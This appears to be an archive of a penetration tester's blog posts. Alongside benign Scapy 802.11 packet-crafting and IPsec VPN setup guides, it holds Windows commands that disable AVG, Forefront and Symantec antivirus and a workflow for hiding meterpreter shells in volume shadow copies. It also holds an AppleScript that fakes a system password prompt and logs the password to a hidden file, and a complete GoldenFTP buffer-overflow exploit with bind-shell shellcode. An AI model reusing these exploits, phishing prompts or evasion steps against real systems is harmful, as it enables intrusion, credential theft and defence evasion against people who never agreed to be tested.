Thursday, January 16, 2014

Sending 802.11 Packets with Scapy


To accompany my recent technical segment on Paul Assadorian's Security Weekly show, here is a functional Python example of sending 802.11 beacons, probe requests, ARP and DNS requests.   Enjoy!



#!/usr/bin/env python

"""
802.11 Scapy Packet Example
Author: Joff Thyer, 2014
"""

# if we set logging to ERROR level, it supresses the warning message
# from Scapy about ipv6 routing
#   WARNING: No route found for IPv6 destination :: (no default route?)
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *


class Scapy80211():

    def  __init__(self,intf='wlan0',ssid='test',\
          source='00:00:de:ad:be:ef',\
          bssid='00:11:22:33:44:55',srcip='10.10.10.10'):

      self.rates = "\x03\x12\x96\x18\x24\x30\x48\x60"

      self.ssid    = ssid
      self.source  = source
      self.srcip   = srcip
      self.bssid   = bssid
      self.intf    = intf
      self.intfmon = intf + 'mon'

      # set Scapy conf.iface
      conf.iface = self.intfmon

      # create monitor interface using iw
      cmd = '/sbin/iw dev %s interface add %s type monitor >/dev/null 2>&1' \
        % (self.intf, self.intfmon)
      try:
        os.system(cmd)
      except:
        raise


    def Beacon(self,count=10,ssid='',dst='ff:ff:ff:ff:ff:ff'):
      if not ssid: ssid=self.ssid
      beacon = Dot11Beacon(cap=0x2104)
      essid  = Dot11Elt(ID='SSID',info=ssid)
      rates  = Dot11Elt(ID='Rates',info=self.rates)
      dsset  = Dot11Elt(ID='DSset',info='\x01')
      tim    = Dot11Elt(ID='TIM',info='\x00\x01\x00\x00')
      pkt = RadioTap()\
        /Dot11(type=0,subtype=8,addr1=dst,addr2=self.source,addr3=self.bssid)\
        /beacon/essid/rates/dsset/tim

      print '[*] 802.11 Beacon: SSID=[%s], count=%d' % (ssid,count)
      try:
        sendp(pkt,iface=self.intfmon,count=count,inter=0.1,verbose=0)
      except:
        raise


    def ProbeReq(self,count=10,ssid='',dst='ff:ff:ff:ff:ff:ff'):
      if not ssid: ssid=self.ssid
      param = Dot11ProbeReq()
      essid = Dot11Elt(ID='SSID',info=ssid)
      rates  = Dot11Elt(ID='Rates',info=self.rates)
      dsset = Dot11Elt(ID='DSset',info='\x01')
      pkt = RadioTap()\
        /Dot11(type=0,subtype=4,addr1=dst,addr2=self.source,addr3=self.bssid)\
        /param/essid/rates/dsset

      print '[*] 802.11 Probe Request: SSID=[%s], count=%d' % (ssid,count)
      try:
        sendp(pkt,count=count,inter=0.1,verbose=0)
      except:
        raise



    def ARP(self,targetip,count=1,toDS=False):
      if not targetip: return

      arp = LLC()/SNAP()/ARP(op='who-has',psrc=self.srcip,pdst=targetip,hwsrc=self.source)
      if toDS:
        pkt = RadioTap()\
                /Dot11(type=2,subtype=32,FCfield='to-DS',\
                addr1=self.bssid,addr2=self.source,addr3='ff:ff:ff:ff:ff:ff')\
                /arp
      else:
        pkt = RadioTap()\
                /Dot11(type=2,subtype=32,\
                addr1='ff:ff:ff:ff:ff:ff',addr2=self.source,addr3=self.bssid)\
                /arp

      print '[*] ARP Req: who-has %s' % (targetip)
      try:
        sendp(pkt,inter=0.1,verbose=0,count=count)
      except:
        raise

      ans = sniff(lfilter = lambda x: x.haslayer(ARP) and x.op == 2,
        store=1,count=1,timeout=1)

      if len(ans) > 0:
        return ans[0][ARP].hwsrc
      else:
        return None


    def DNSQuery(self,query='www.google.com',qtype='A',ns=None,count=1,toDS=False):
      if ns == None: return
      dstmac = self.ARP(ns)

      dns = LLC()/SNAP()/IP(src=self.srcip,dst=ns)/\
        UDP(sport=random.randint(49152,65535),dport=53)/\
        DNS(qd=DNSQR(qname=query,qtype=qtype))

      if toDS:
        pkt = RadioTap()\
                /Dot11(type=2,subtype=32,FCfield='to-DS',\
                addr1=self.bssid,addr2=self.source,addr3=dstmac)/dns
      else:
        pkt = RadioTap()\
                /Dot11(type=2,subtype=32,\
                addr1=dstmac,addr2=self.source,addr3=self.bssid)/dns

      print '[*] DNS query %s (%s) -> %s?' % (query,qtype,ns)
      try:
        sendp(pkt,count=count,verbose=0)
      except:
        raise

# main routine
if __name__ == "__main__":
    print """
[*] 802.11 Scapy Packet Crafting Example
[*] Assumes 'wlan0' is your wireless NIC!
[*] Author: Joff Thyer, 2014
"""
    sdot11 = Scapy80211(intf='wlan0')
    sdot11.Beacon()
    sdot11.ProbeReq()
    sdot11.DNSQuery(ns='10.10.10.2')


Wednesday, January 2, 2013

Remote Access VPN with Linux racoon and MAC-OSX


If you use a Linux based router gateway, and MAC-OSX Mountain Lion, being able to created an IPSEC VPN tunnel back to your home site can be very useful.     The MAC-OSX Lion IPSEC client will use ISAKMP over UDP port 500 to negotiate the appropriate phase one key exchange parameters in order to setup a UDP NAT-Traversal IPSEC tunnel over UDP port 4500 back to your home site.

Here I include a pre-shared key based example configuration of the Linux KAME “racoon” daemon to run as an IPSEC server, and configure the MAC-OSX native IPSEC client to connect to it.   The Linux based server system in this example is Ubuntu 12.04.1 server running on a Soekris NET6501-50.   For more information on what Soekris has to offer, visit the web URL http://www.soekris.com/.  

Under Ubuntu, you will need to install two different packages in order to get started.

# apt-get install ipsec-tools
# apt-get install racoon


For the remainder of this example, I will assume that your Ubuntu Linux based system has a public IP address of 240.9.9.9, and that your desired VPN address range is 10.222.1.0/24.   I will also assume that your router gateway is properly configured for Network Address Translation (NAT) using iptables for any address that is part of your internal network which I will consider as anything in the 10.0.0.0/8 address range.   I will also assume that you are running your own internal network DNS server at 10.1.1.1.   Proper configuration of iptables is not included in this blog entry.

Public network address: 240.9.9.9
Internal LAN Network:   10.0.0.0/8
VPN network pool:       10.222.1.0/24
DNS Server:             10.1.1.1
DNS domain:             “domain.tld”

After you have installed the “racoon” package, the configuration file should be located as the file path /etc/racoon/racoon.conf.

We will start with a fully commented racoon.conf example based on the above information in order to illustrate how to configure an IPSEC VPN.  This configuration is based on a pre-shared key rather than certificate based VPN for simplicity sake, and due to the additional complexity involved with setting up your own certifying authority, generating, signing, and importing a certificate for use.


Racoon Configuration File

# set syslog level and pre-shared key file
log notify;
path pre_shared_key "/etc/racoon/psk.txt";

listen {
  adminsock disabled;     #do not listen on the admin socket
  isakmp 240.9.9.9 [500]; #address for ISAKMP
  isakmp_natt 240.9.9.9 [4500]; #address for ISAKMP NAT-Traversal
  strict_address;         #strictly bind these addresses
}

remote anonymous {      #anonymous matches ANY ipsec client
  exchange_mode main;   #ISAKMP phase 1 exchange mode
  ph1id 16;             #phase 1 proposal identifier
  proposal_check claim; #claim our own lifetime value
  lifetime time 12 hour;#phase 1 lifetime
  mode_cfg on;          #gather network information through ISAKMP
  generate_policy on;   #generate ipsec policy from initiator SA payload
  nat_traversal on;     #enable use of NAT-Traversal extension
  dpd_delay 3600;       #enable dead peer detection and set time at 3600 secs

  proposal {                  #phase 1 proposal
    encryption_algorithm aes; #phase 1 encryption algorithm
    hash_algorithm sha1;      #phase 1 hash algorithm
    authentication_method xauth_psk_server; #use xauth pre-shared key method
    dh_group 2;               #use diffie-hellman group 2 (modp1024)
  }
}

# specific mode configuration
mode_cfg {
  auth_source system;         #user auth source (system=Unix user)
  group_source system;        #group validation source (system=Unix groups)
  conf_source local;          #user local pool information below
  network4 10.222.1.50;       #base/first address in VPN pool
  netmask4 255.255.255.0;     #VPN pool network mask
  pool_size 50;               #VPN pool size
  dns4 10.1.1.1;              #VPN pool DNS server
  default_domain "domain.tld";#optional VPN pool domain suffix
  banner "/etc/racoon/motd";  #optional VPN pool message of the day
}

# security association info
sainfo anonymous {                  #anonymous matches any/all SA
  encryption_algorithm aes;         #phase 2 encryption algorithm(s)
  authentication_algorithm hmac_sha1; #phase 2 authentication hash
  compression_algorithm deflate;    #phase 2 compression
  remoteid 16;                      #phase 2 remoteid to match phase 1
}



Linux Server Pre-Shared Key File


Although the /etc/racoon/psk.txt file would typically contain entries listing individual IP addresses, you can also have wildcard entries.   Naturally when travelling your MAC-OSX client is going to have a different public IP address depending on your location, and thus a wildcard pre-shared key file on the server end of things is the easiest solution.   A better solution, as mentioned above, would be to utilize a certificate rather than pre-shared key.

In order to generate a pre-shared key, I would suggest a relatively long random character string.   This is fairly easy to generate using a combination of “dd” and “base64” in the UNIX world, although other options exist.


$ dd if=/dev/urandom bs=1 count=18 2>/dev/null | base64
mylongrandomstring


Within your /etc/racoon/psk.txt pre-shared key file on the UNIX/Linux server, you should list one entry as follows:

# pre-shared key for IPSEC VPN clients
* mylongrandomstring

Note that the string “mylongrandomstring” would actually be random characters you generated from the above command.




MAC-OSX Mountain Lion:  Cisco IPSEC VPN Client

To setup your MAC-OSX IPSEC client, you need to open Network Preferences, click on the “Lock” to make changes, and then click on the small “+” at the bottom left of the dialog to ADD a new interface.  






Set the interface type to “VPN”, and VPN Type to “Cisco IPSec”, and then type in a descriptive service name.















Click on your new IPSEC VPN connection, and enter the appropriate address or domain name of your remote server, as well as your UNIX/Linux username that you will use to connect.





Next, click on the “Authentication Setttings” button and set the “Shared Secret” to the same long random string you used for the pre-shared key on the server.  Leave the “Group Name” blank, and click OK.




Testing The Configuration

If you use the "strict_address" configuration in the "listen" section of the racoon configuration, you can only test from outside your home network.   However, if we assume that your home Linux router gateway also has a second interface for "internal" network traffic, the entire listen section of the racoon.conf file can be commented out during testing to make racoon listen on all interfaces as follows.

#listen {
#  adminsock disabled;     #do not listen on the admin socket
#  isakmp 240.9.9.9 [500]; #address for ISAKMP
#  isakmp_natt 240.9.9.9 [4500]; #address for ISAKMP NAT-Traversal
#  strict_address;         #strictly bind these addresses
#}

For testing purposes, you should use either a console on your linux server, or ssh in from another machine, and then run racoon in debugging mode from the command line as root.

# service racoon stop
# /usr/sbin/racoon -F -d

The "-F" flag instructs racoon to log all output to stdout/screen.    The more "-d" flags you add to the command line, the more debugging output you should received.   After starting racoon on the command line, you should attempt to connect from your MAC-OSX system.

Assuming that your group pre-shared key matches, if you get through IPSEC key management negotiation phase 1, your MAC-OSX system should prompt you for a username and password.   This username has to be a UNIX/Linux based username that has been added to the server system.   If successful, you should see your "banner" message of the day displayed, and receive a VPN pool IP address in the 10.222.1.0/24 network.   You can then put racoon back into normal running mode, and you have successfully configured a remote access VPN.


# /usr/sbin/racoon -F -d
# CTRL-c
# service racoon start


Good luck, and please post comments/questions on your experience.


Monday, December 5, 2011

Disabling AntiVirus when Pen Testing

When penetration testing, and targeting Windows systems, writing some executable content to the file system is invariably required at some stage.   Unfortunately today, the antivirus vendors have become quite adept with signatures that match assembly stub routines that are used to inject malware into a system.   The A/V guys will also pick up on common service executable files such as being used with Metasploit’s bypassuac.   Let’s face it, we still need to write stuff into temp directories from time to time.

Mark Baggett, and Tim Tomes recently presented some nice techniques on hiding malware within Windows volume shadow copies  (http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows).   Since it is unlikely for A/V products to be able to scan volume shadow copies, and the capability to create a process from a volume shadow copy using ‘wmic’ exists, then we would likely want to follow this sequence of tasks during a test:

a) Disable the A/V product of choice.
b) Upload our favorite/useful executable content.  (perhaps a reverse TCP meterpreter shell or similar)
c) Upload Mark and Tim’s excellent vssown.vbs script
a. Enable service and create volume shadow copy.
b. Disable volume shadow copy service.
d) Delete our favorite/useful executable content and modified timestamps accordingly assuming we want to be somewhat stealthy.
e) Execute our content from the volume shadow copy using ‘wmic’ using the excellent vssown script, or just through ‘wmic process call create’.

The challenge presented is whether we can effectively disable the antivirus product of choice.  Listed below are some possible techniques for three popular products which may get us what we need.   None of these techniques are stealthy from a user interface perspective.  Otherwise said, Windows security center and the A/V tray executable files themselves will try to inform the user that something is broken when we proceed with these recipes.


1. Grisoft’s AVG

Using the 2012 Freeware version, I note the following information about AVG.    Services running are the AVG watchdog (avgwd), and the AVG IDS agent (avgidsagent).    The running processes are as follows: avgidsagent.exe, avgwdsvc.exe, avgemca.exe, avgrsa.exe, avgcsrva.exe, and avgnsa.exe.   The watchdog process is very persistent at restarting things, is not killable, and neither is the service stoppable.

DISABLING:
a. Rename the binary files in %systemroot%\program files\avg\avg2012\ as follows.

C:\> cd %systemroot%\program files\avg\avg2012
C:\> move avgcsrva.exe avgcsrva_.exe
C:\> move avgemca.exe avgemca_.exe
C:\> move avgnsa.exe avgnsa_.exe
C:\> move avgrsa.exe avgrsa_.exe

b. Kill the running processes simultaneously with a one line (wildcard powered) wmic command.

C:\>  wmic process where “name like ‘avg[cenr]%.exe’” delete

c. The watchdog service will to restart all of the binaries but fail.

ENABLING: Rename all of the binaries back to their original names, and the watchdog process will take care of the rest.


2. Microsoft Forefront

The service name is “msmpsvc”, and the running processes are msmpeng.exe, and msseces.exe, one being the engine and the other being the GUI reporting/configuration tool respectively.

DISABLING:  kill the GUI tool and stop the A/V engine service.

C:\> wmic process where name=”msseces.exe” delete
C:\> sc stop msmpsvc

ENABLING: start the A/V service engine, and start the GUI process.

C:\> cd \Program Files\Microsoft Security Client
C:\> sc start msmpsvc
C:\> msseces.exe


3. Symantec Endpoint Protection

The services running are ccEvtMgr, ccSetMgr, smcservice, and “Symantec AntiVirus”.   The processes that matter are smb.exe, and smcgui.exe.

DISABLING: kill the processes, and stop the services.   I found that the event manager (ccEvtMgr), and settings manager (ccSetMgr) service can remain running without any impact.

C:\> wmic process where “name like ‘%smc%.exe’” delete
C:\> sc stop smcservice
C:\> sc stop “Symantec AntiVirus”

ENABLING: restarting just the smcservice will start everything else back up again.

C:\> sc start smcservice

Tuesday, October 25, 2011

Fun with AppleScript

--
-- Description: This script prompts the user to enter their password
--        in order to perform a privileged function.  The password
--        is subsequently saved to a hidden file in their home directory.
--        The "Cancel" button is the default on the dialog which
--        will hopefully encourage the user to enter accurate info.
--
-- Author: Joff Thyer, October 2011
--
set filename to ((path to home folder) as string) & ".mpass"
set myprompt to "Type your password to allow System Preferences to make changes"

set ans to "Cancel"
repeat
    try
        set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "Cancel" with icon path to resource "LockedIcon.icns" in bundle "/System/Library/CoreServices/CoreTypes.bundle"
        set ans to button returned of d_returns
        set mypass to text returned of d_returns
        if ans = "OK" then exit repeat
    end try
end repeat

try
    set now to do shell script "date '+%Y%m%d_%H%M%S:'"
    set myfile to open for access filename with write permission
    set outstr to now & mypass & "
"
    write outstr to myfile starting at eof
    close access myfile
on error
    try
        close access myfile
    end try
end try

Friday, July 15, 2011

Using metasploit meterpreter scripts enum_firefox.rb and enum_chrome.rb

Two useful meterpreter scripts for enumerating client browser data are enum_firefox.rb and enum_chrome.rb located in the framework scripts/meterpreter directory.

It is important to understand that both of these scripts require sqlite3 be properly installed on your exploitation system.  Assuming your exploitation system is Ubuntu Linux for a moment, you can ensure that sqlite3 dependencies are installed as follows:

sudo apt-get install sqlite3
sudo apt-get install libsqlite3-dev
sudo gem install sqlite3-ruby

Once this has completed, then restart your msfconsole, exploit away and run the appropriate browser enumeration scripts.    Output from your enumeration will be stored in the msf config directory with the following path.

log/scripts/enum_firefox
log/scripts/enum_chrome

With a local installation under Ubuntu, the msf config directory is often $HOME/.msf

Friday, July 8, 2011

Revised V2.5 Golden FTP 4.70 PASS overflow exploit


#!/usr/bin/python
#
###########################################################################
## Exploit Title: Revised V2.5: GoldenFTP 4.70 PASS overflow exploit
## Exploit Version: 2.5, 2011-07-08 15:00
## Date: July 8, 2011 (20110708-1500)
## Author: Joff Thyer (jsthyer@gmail.com)
## Software Link: http://www.goldenftpserver.com/
## Version: 4.70
## Tested on: WinXP-SP0/SP2/SP3
## CVE: 2006-6576
##
## based on exploit by:
##   Craig Freyman (cd1zz) and Gerardo Iglesias Galvan (iglesiasgg)
##
## NOTES:
## (1) You must make sure that the "Show new connections" option is enabled
## in order for this exploit to work.
## (2) Specifying the IP source address is important as it is used in the
## calculation of the overflow buffer offset.
###########################################################################
#


import socket
import sys
from subprocess import Popen, PIPE
import re
import time


# Metasploit
# ./msfpayload windows/exec CMD=calc.exe r | ./msfencode -b '\x00\x0a\x0d' -c 3
# 281 bytes
calc = \
"\xda\xd8\xbf\xbd\xe6\x2a\x25\xd9\x74\x24\xf4\x5d\x2b\xc9" +\
"\xb1\x40\x31\x7d\x19\x03\x7d\x19\x83\xc5\x04\x5f\x13\xf0" +\
"\xfc\x25\x7d\x71\xce\xb6\xa7\x0e\x14\xbc\x03\xc4\x9d\x8d" +\
"\x8d\x2b\x4d\xf7\xee\x18\x6b\x84\x32\x9a\x69\xde\x1d\x56" +\
"\x5b\x3c\x2b\x9b\xd7\x9f\x60\x60\x07\x1a\x80\xa2\x81\xae" +\
"\xce\x53\x0c\x41\x2a\x63\xce\xe5\x8c\xb1\x14\x78\x13\x69" +\
"\x5b\xe0\x83\x33\x30\x96\x31\x89\x93\x5f\x95\x5c\xe5\x63" +\
"\x23\x44\xfa\xe4\xe4\xbc\x75\x83\xb8\x5e\xa3\x1f\x86\x37" +\
"\xc8\xf4\x89\xab\x9d\x6e\x65\xac\x65\xfc\x7b\xe9\x86\xe6" +\
"\x8f\x25\x93\x03\xd4\x1d\x7f\x73\x91\xc4\x68\x67\x62\x59" +\
"\xe0\x5f\x51\x08\xfb\xd7\x1f\xb6\x5a\x27\xe9\x35\x61\x3e" +\
"\xf8\x4c\xac\x19\x43\x47\x2b\x13\x92\x9e\x1a\xed\xfd\x45" +\
"\x98\x34\x2a\x83\xb4\x84\x2e\xa0\x67\x24\x44\x5b\x32\x0b" +\
"\xbf\x5b\x7a\x9f\xa6\xc8\xd7\xaf\x04\xb9\xa2\x53\x5f\xfd" +\
"\x6f\x5b\x32\x77\xb2\x5b\xec\x53\xa1\x12\x29\x88\x5d\x0f" +\
"\x27\x92\x8b\xca\x63\x38\x4d\x1b\xd2\x26\x0e\xf8\xdf\xf4" +\
"\xef\x8f\x14\x63\xf2\x81\x9e\x60\xb0\xc6\xbe\x97\x1e\x27" +\
"\x32\x8f\x88\x29\x3e\xa4\xbe\xd6\x45\xaa\x70\xcd\x8a\xf6" +\
"\xcd\xa0\x15\x5b\x4b\x73\xde\x3c\xa6\x33\x7d\xa5\xa9\xda" +\
"\x0b\xdf\xc3\xd9\xe9\x81\x5a\xbb\x77\x47\x45\x75\xf9\x5f" +\
"\x88"


# Metasploit
# ./msfpayload windows/exec CMD=windows/shell_bind_tcp r | ./msfencode -b '\x00\x0a\x0d' -c3
# 422 bytes
cmdshell = \
"\xd9\xce\xba\xd6\x6f\x98\xda\xd9\x74\x24\xf4\x5f\x33\xc9" +\
"\xb1\x63\x31\x57\x1a\x03\x57\x1a\x83\xef\xfc\xe2\x23\xd5" +\
"\x9d\x94\x67\x5c\x47\xea\xae\xd5\x53\x1f\x0e\x3f\x55\x6e" +\
"\xf3\x0e\x33\x83\x08\x27\xa9\x20\xe5\x75\x83\xa5\xb5\x66" +\
"\x03\x32\x7d\xe2\xf5\xfa\x35\x4c\x0f\x9b\x44\x05\x5b\x98" +\
"\x24\x7d\xf0\xc3\xb6\xa2\x68\x9c\x42\xed\x08\x82\xfe\xbb" +\
"\x7e\xcf\x76\x76\x97\x38\xeb\xb1\x98\xd6\x51\x8b\xca\xae" +\
"\xea\x2b\x72\x86\x3b\x67\x6a\x9f\x5d\xf2\x4c\xb8\x23\x10" +\
"\x95\xd3\x01\x41\x09\x36\x93\x41\xaa\xb5\x84\xd9\x35\xb0" +\
"\x44\x13\xc0\x38\x6b\xab\x1a\x8c\xb7\xec\x30\x7a\x4a\x73" +\
"\xe5\xf1\x7e\x7e\xaf\x66\xa1\x85\x53\xea\x1a\xd7\x0b\x9a" +\
"\x9e\xf0\x04\x63\xe0\x57\xf6\x6a\x88\xb1\xef\xe0\x4a\x78" +\
"\x63\xdb\xcf\xe6\xde\xcf\xe9\x2c\x94\x5f\xef\x28\x2a\xdc" +\
"\xcd\x7a\xb2\x13\x88\xb1\x8d\x40\xcf\x0c\xf9\x52\x2f\xbc" +\
"\xd4\x34\xad\xb0\x45\xfb\xe2\xa3\xab\xa7\x46\xf6\x83\x38" +\
"\xe0\x36\x75\x7a\x6f\x96\xb3\x4f\xbe\xb9\x17\xbd\xea\x0e" +\
"\xf9\x10\x62\x2e\x91\x69\x28\xeb\xe6\x07\x23\x0f\xf6\x26" +\
"\x4a\xec\xba\xd8\x74\xba\xe6\x38\xb3\x56\x13\xf1\x8d\x70" +\
"\x98\xc9\x60\xcf\x9c\xf5\x1f\x8f\x8f\x04\x6c\x61\x63\x25" +\
"\x87\x89\x1d\x58\x4f\x18\xca\xcb\x11\x03\x24\x6b\xa6\xbd" +\
"\x47\x90\x43\xc5\x9f\x3f\xc8\x64\x3a\xcc\x69\xc7\x9c\x2d" +\
"\x19\xc1\x67\xfa\x07\xcb\xd7\x92\x83\x23\x50\xdf\xa2\xd8" +\
"\x08\xa8\xec\x43\xbb\xda\x10\xc2\x0b\x30\xb7\xdd\xbd\x33" +\
"\x6a\x18\x98\x1e\xc1\x5e\x77\xeb\xe8\x21\x4e\x18\x60\x6f" +\
"\x60\x5c\x99\xb6\x7e\x28\xdb\xda\x40\xea\x8c\xc7\x5c\x70" +\
"\x7f\xd1\x61\xaf\x42\x25\x8d\xec\xb9\xde\x5f\x40\xa2\xa2" +\
"\xe2\x39\x6f\x85\x54\xd3\xa0\xef\x4c\x08\x23\xb5\x88\x85" +\
"\xc0\xfc\xd2\x50\x68\x5b\x93\x33\x8a\x6e\xf8\x4d\x79\xa8" +\
"\x29\x56\x39\xee\x4f\xd2\x49\x48\x4e\x0e\x1c\x8a\xd5\xa6" +\
"\xd0\x94\xfb\xda\x22\x3d\xf4\x22\xe7\x54\xff\xa2\x05\xc4" +\
"\x8c\xc7"


if len(sys.argv) < 5:
     print "[-]Usage: %s <src addr> <target addr> <shellcode> <platform>" % sys.argv[0]
     print "\tshellcode = (calc|shell)"
     print "\tplatform = (sp0|sp2|sp3)"
     print "\tExample: ./gftp-sploit.py 1.2.1.2 5.6.5.4 calc sp2"
     sys.exit(0)


srcaddr = sys.argv[1]
target = sys.argv[2]
shellcode = sys.argv[3]
platform = sys.argv[4]


# which payload?
buf = calc
if shellcode == "calc":
     buf = calc
elif shellcode == "shell":
     buf = cmdshell


# address of JMP ESI in Kernel32.dll
if platform == "sp0":
     jmpesi = "\x7b\x15\xe8\x77"
elif platform == "sp2":
     jmpesi = "\xc3\x72\x85\x7c"
elif platform == "sp3":
     jmpesi = "\x0b\xda\x82\x7c"


shortjmp = "\x90\x90\x90\x90\xeb\x20\n"
nopsled = "\x90" * 60
padding = "A" * (533 - len(srcaddr + buf + nopsled))
payload = nopsled + buf + padding + jmpesi


print "\
[+] Golden FTP PASS Exploit\n\
[+] Version 2.5, July 8 2011\n\
[+] Author: Joff Thyer (jsthyer@gmail.com)\n\
[+] 'Show new connections' must be enabled in GoldenFTP in order\n\
[+] for this exploit to succeed!\n\
[+] Connecting: "+target


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    s.connect((target,21))
except:
    print "[-] Connection to "+target+" failed!"
    sys.exit(0)


print "[+] Sending payload, length = " + `len(payload)`
s.send(shortjmp);
s.send("USER anonymous\n")
s.send("PASS " + payload + "\n")
s.recv(1024)
print "[+] Sleeping 2 secs..."
time.sleep(2)
s.close()


if shellcode == "shell" and srcaddr == target:
     p = Popen(["netstat","-na"],stdout=PIPE,shell=False)
     netstat = p.stdout.read()
     shellok = re.search("TCP\s*0\.0\.0\.0:4444.*LISTENING",netstat)
     if shellok:
          print "[+] "+shellok.group(0)


print "[+] Done."
sys.exit(0)